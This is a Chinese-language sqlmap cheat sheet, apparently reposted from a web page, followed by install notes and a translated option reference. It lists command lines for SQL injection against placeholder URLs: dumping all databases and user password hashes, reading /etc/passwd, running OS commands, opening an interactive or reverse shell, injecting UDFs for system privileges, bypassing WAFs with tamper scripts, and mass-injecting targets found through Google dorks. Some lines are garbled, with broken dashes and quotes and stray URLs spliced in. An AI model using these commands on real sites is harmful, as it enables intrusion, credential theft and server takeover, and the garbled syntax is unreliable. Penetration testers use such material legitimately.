- sqlmap -u "http://url/news?id=1 -current-user #获取当前用户名称 sqlmap -u"http://www.xxoo.com/news?id=1 -current-db #获取当前数 据库名称
- sqlmap -u "http://www.xxoo.com/news?id=1 -tables -D"db_name"# 列 表名
- sqlmap -u "http://url/news?id=1 -columns -T"tablename"users-D"db_name"-v 0 #列字段
- sqlmap -u "http://url/news?id=1 -dump -C"column_name"-T"table_name"-D"db_name"-v
- 0 #获取字段内容
****************** 信息获取 ******************
- sqlmap -u "http://url/news?id=1 -dbms"Mysql" -users # dbms 指定数 据库类型
- sqlmap -u "http://url/news?id=1 -users #列数据库用户
- sqlmap -u "http://url/news?id=1 -dbs# 列数据库
- sqlmap -u "http://url/news?id=1 -passwords #数据库用户密码
- sqlmap -u "http://url/news?id=1 -passwords-U root -v 0 #列出指定用户 数据库密码
- sqlmap -u "http://url/news?id=1 -dump -C"password,user,id"-T"tablename"-D"db_name"
- -start 1 -stop 20 #列出指定字段, 列出 20 条
- sqlmap -u "http://url/news?id=1 -dump-all -v 0 #列出所有数据库所有表
- sqlmap -u "http://url/news?id=1 -privileges #查看权限
- sqlmap -u "http://url/news?id=1 -privileges -U root #查看指定用户权限 sqlmap-u"http://url/news?id=1 -is-dba -v 1 #是否是数据库管理员 sqlmap -u "http://url/news?id=1 -roles #枚举数据库用户角色
- sqlmap -u "http://url/news?id=1 -udf-inject #导入用户自定义函数(获取 系统权限!)
- sqlmap -u "http://url/news?id=1 -dump-all -exclude-sysdbs -v 0 #列 出当前库所有表
- sqlmap -u "http://url/news?id=1 -union-cols #union 查询表记录
- sqlmap -u "http://url/news?id=1 -cookie"COOKIE_VALUE"#cookie 注入
- sqlmap -u "http://url/news?id=1-b #获取 banner 信息
- sqlmap -u "http://url/news?id=1 -data"id=3#post 注入
- sqlmap -u "http://url/news?id=1-v 1 -f #指纹判别数据库类型
- sqlmap -u "http://url/news?id=1 --proxy"http://127.0.0.1:8118" #代理注 入
- sqlmap -u "http://url/news?id=1-string"STRING_ON_TRUE_PAGE"# 指 定关键词
- sqlmap -u "http://url/news?id=1 -sql-shell #执行指定 sql 命令
- sqlmap -u "http://url/news?id=1 -file /etc/passwd
- sqlmap -u "http://url/news?id=1 -os-cmd=whoami #执行系统命令
- sqlmap -u "http://url/news?id=1 -os-shell #系统交互 shell sqlmap -u"http://url/news?id=1 -os-pwn #反弹 shell
- sqlmap -u "http://url/news?id=1 -reg-read #读取 win 系统注册表
- sqlmap -u "http://url/news?id=1 -dbs-o"sqlmap.log"# 保存进度
- sqlmap -u "http://url/news?id=1 -dbs -o"sqlmap.log" -resume #恢复 已保存进度
*********** 高级用法 *************
-p name 多个参数如 index.php?n_id=1&name=2&data=2020 我们想指定 name 参数进行注入
sqlmap -g "google 语法" -dump-all -batch #google 搜索注入点自动 跑出 所有字段 需保证 google.com 能正常访问
-technique 测试指定注入类型 \ 使用的技术
不加参数默认测试所有注入技术
B: 基于布尔的 SQL 盲注
E: 基于显错 sql 注入
U: 基于 UNION 注入
S: 叠层 sql 注入
T: 基于时间盲注
-tamper 通过编码绕过 web 防火墙(WAF)Sqlmap 默认用 char()
-tamper 插件所在目录
- \sqlmap-dev\tamper
- sqlmap -u "http:// http://www.2cto.com/ /news?id=1 -smart -level 3 -users # smart 智 能
level 执行测试等级 攻击实例:
- Sqlmap -u "http://url/news?id=1&Submit=Submit"
- -cookie="PHPSESSID=41aa833e6d0d
- 28f489ff1ab5a7531406 -string="Surname" -dbms=mysql -user
- -password
参考文档: http://sqlmap.sourceforge.net/doc/README.html
*********** 安装最新版本 *************
ubuntu 通过 apt-get install 安装的 sqlmap 版本为 0.6 我们通过 svn 来安装 为 最新 1.0 版
sudo svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
安装的位置为:/home / 当前用户 / sqlmap-dev/sqlmap.py 直接执行 / home / 当前用户 / sqlmap-dev/sqlmap.py -version 这样很不方便 我们可以设置. bashrc 文件
sudo vim /home / 当前用户 /.bashrc
# 任意位置加上:
alias sqlmap='python /home/seclab/sqlmap-dev/sqlmap.py' 该环境变量只对当前用户有效
如果想对所有用户有效 可设置全局 编辑下面的文件
vim /etc/profile
同样加上:
alias sqlmap='python /home/seclab/sqlmap-dev/sqlmap.py' 重启生效
******************windows 7 (x64) sqlmap install (SVN)************
http://www.python.org/getit/ 安装 python
http://www.sliksvn.com/en/download 安装 windows svn client
svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
安装 sqlmap
* 修改环境变量
-version 显示程序的版本号并退出
-h, -help 显示此帮助消息并退出
-v VERBOSE 详细级别: 0-6(默认为 1)
Target(目标): 以下至少需要设置其中一个选项, 设置目标 URL.
-d DIRECT 直接连接到数据库.
-u URL, -url=URL 目标 URL.
-l LIST 从 Burp 或 WebScarab 代理的日志中解析目标.
-r REQUESTFILE 从一个文件中载入 HTTP 请求.
-g GOOGLEDORK 处理 Google dork 的结果作为目标 URL.
-c CONFIGFILE 从 INI 配置文件中加载选项.
Request(请求)::
这些选项可以用来指定如何连接到目标 URL.
-data=DATA 通过 POST 发送的数据字符串
-cookie=COOKIE HTTP Cookie 头
-cookie-urlencode URL 编码生成的 cookie 注入
-drop-set-cookie 忽略响应的 Set -Cookie 头信息
-user-agent=AGENT 指定 HTTP User -Agent 头
-random-agent 使用随机选定的 HTTP User -Agent 头
-referer=REFERER 指定 HTTP Referer 头
-headers=HEADERS 换行分开, 加入其他的 HTTP 头
-auth-type=ATYPE HTTP 身份验证类型(基本, 摘要或 NTLM)(Basic, Digest or NTLM)
-auth-cred=ACRED HTTP 身份验证凭据(用户名: 密码)
-auth-cert=ACERT HTTP 认证证书(key_file,cert_file)
-proxy=PROXY 使用 HTTP 代理连接到目标 URL
-proxy-cred=PCRED HTTP 代理身份验证凭据(用户名: 密码)
-ignore-proxy 忽略系统默认的 HTTP 代理
-delay=DELAY 在每个 HTTP 请求之间的延迟时间, 单位为秒
-timeout=TIMEOUT 等待连接超时的时间(默认为 30 秒)
-retries=RETRIES 连接超时后重新连接的时间(默认 3)
-scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式
-safe-url=SAFURL 在测试过程中经常访问的 url 地址
-safe-freq=SAFREQ 两次访问之间测试请求, 给出安全的 URL
Optimization(优化): 这些选项可用于优化 SqlMap 的性能.
-o 开启所有优化开关
-predict-output 预测常见的查询输出
-keep-alive 使用持久的 HTTP(S)连接
-null-connection 从没有实际的 HTTP 响应体中检索页面长度
-threads=THREADS 最大的 HTTP(S)请求并发量(默认为 1)
Injection(注入):
这些选项可以用来指定测试哪些参数, 提供自定义的注入 payloads 和可选篡改脚本.
-p TESTPARAMETER 可测试的参数(S)
-dbms=DBMS 强制后端的 DBMS 为此值
-os=OS 强制后端的 DBMS 操作系统为这个值
-prefix=PREFIX 注入 payload 字符串前缀
-suffix=SUFFIX 注入 payload 字符串后缀
-tamper=TAMPER 使用给定的脚本 (S) 篡改注入数据
Detection(检测):
这些选项可以用来指定在 SQL 盲注时如何解析和比较 HTTP 响应页面的内容.
-level=LEVEL 执行测试的等级(1-5, 默认为 1)
-risk=RISK 执行测试的风险(0-3, 默认为 1)
-string=STRING 查询时有效时在页面匹配字符串
-regexp=REGEXP 查询时有效时在页面匹配正则表达式
-text-only 仅基于在文本内容比较网页
Techniques(技巧): 这些选项可用于调整具体的 SQL 注入测试.
-technique=TECH SQL 注入技术测试(默认 BEUST)
-time-sec=TIMESEC DBMS 响应的延迟时间(默认为 5 秒)
-union-cols=UCOLS 定列范围用于测试 UNION 查询注入
-union-char=UCHAR 用于暴力猜解列数的字符
Fingerprint(指纹):
-f, -fingerprint 执行检查广泛的 DBMS 版本指纹
Enumeration(枚举):
这些选项可以用来列举后端数据库管理系统的信息, 表中的结构和数据. 此外, 您还可以运行您自己 的 SQL 语句.
-b, -banner 检索数据库管理系统的标识
-current-user 检索数据库管理系统当前用户
-current-db 检索数据库管理系统当前数据库
-is-dba 检测 DBMS 当前用户是否 DBA
-users 枚举数据库管理系统用户
-passwords 枚举数据库管理系统用户密码哈希
-privileges 枚举数据库管理系统用户的权限
-roles 枚举数据库管理系统用户的角色
-dbs 枚举数据库管理系统数据库
-tables 枚举的 DBMS 数据库中的表
-columns 枚举 DBMS 数据库表列
-dump 转储数据库管理系统的数据库中的表项
-dump-all 转储所有的 DBMS 数据库表中的条目
-search 搜索列 (S), 表(S) 和 / 或数据库名称(S)
-D DB 要进行枚举的数据库名
-T TBL 要进行枚举的数据库表
-C COL 要进行枚举的数据库列
-U USER 用来进行枚举的数据库用户
-exclude-sysdbs 枚举表时排除系统数据库
-start=LIMITSTART 第一个查询输出进入检索
-stop=LIMITSTOP 最后查询的输出进入检索
-first=FIRSTCHAR 第一个查询输出字的字符检索
-last=LASTCHAR 最后查询的输出字字符检索
-sql-query=QUERY 要执行的 SQL 语句
-sql-shell 提示交互式 SQL 的 shell
Brute force(蛮力): 这些选项可以被用来运行蛮力检查.
-common-tables 检查存在共同表
-common-columns 检查存在共同列
User-defined function injection(用户自定义函数注入): 这些选项可以用来创建用户自定义函数.
-udf-inject 注入用户自定义函数
-shared-lib=SHLIB 共享库的本地路径
File system access(访问文件系统): 这些选项可以被用来访问后端数据库管理系统的底层文件系统.
-file-read=RFILE 从后端的数据库管理系统文件系统读取文件
-file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件
-file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
Operating system access(操作系统访问): 这些选项可以用于访问后端数据库管理系统的底层操作系统.
-os-cmd=OSCMD 执行操作系统命令
-os-shell 交互式的操作系统的 shell
-os-pwn 获取一个 OOB shell,meterpreter 或 VNC
-os-smbrelay 一键获取一个 OOB shell,meterpreter 或 VNC
-os-bof 存储过程缓冲区溢出利用
-priv-esc 数据库进程用户权限提升
-msf-path=MSFPATH Met http://www.2cto.com/kf/web/asp/ loit Framework 本地的安装路径
-tmp-path=TMPPATH 远程临时文件目录的绝对路径
Windows 注册表访问: 这些选项可以被用来访问后端数据库 http://www.2cto.com/database/ 管理系统 Windows 注册表.
-reg-read 读一个 Windows 注册表项值
-reg-add 写一个 Windows 注册表项值数据
-reg-del 删除 Windows 注册表键值
-reg-key=REGKEY Windows 注册表键
-reg-value=REGVAL Windows 注册表项值
-reg-data=REGDATA Windows 注册表键值数据
-reg-type=REGTYPE Windows 注册表项值类型
General(一般): 这些选项可以用来设置一些一般的工作参数.
-t TRAFFICFILE 记录所有 HTTP 流量到一个文本文件中
-s SESSIONFILE 保存和恢复检索会话文件的所有数据
-flush-session 刷新当前目标的会话文件
-fresh-queries 忽略在会话文件中存储的查询结果
-eta 显示每个输出的预计到达时间
-update 更新 SqlMap
-save file 保存选项到 INI 配置文件
-batch 从不询问用户输入, 使用所有默认配置.
Miscellaneous(杂项):
-beep 发现 SQL 注入时提醒
-check-payload IDS 对注入 payloads 的检测测试
-cleanup SqlMap 具体的 UDF 和表清理 DBMS
-forms 对目标 URL 的解析和测试形式
-gpage=GOOGLEPAGE 从指定的页码使用谷歌 dork 结果
-page-rank Google dork 结果显示网页排名(PR)
-parse-errors 从响应页面解析数据库管理系统的错误消息
-replicate 复制转储的数据到一个 sqlite3 数据库
-tor 使用默认的 Tor(Vidalia/ Privoxy/ Polipo)代理地址
-wizard 给初级用户的简单向导界面
来源: http://www.bubuko.com/infodetail-2627495.html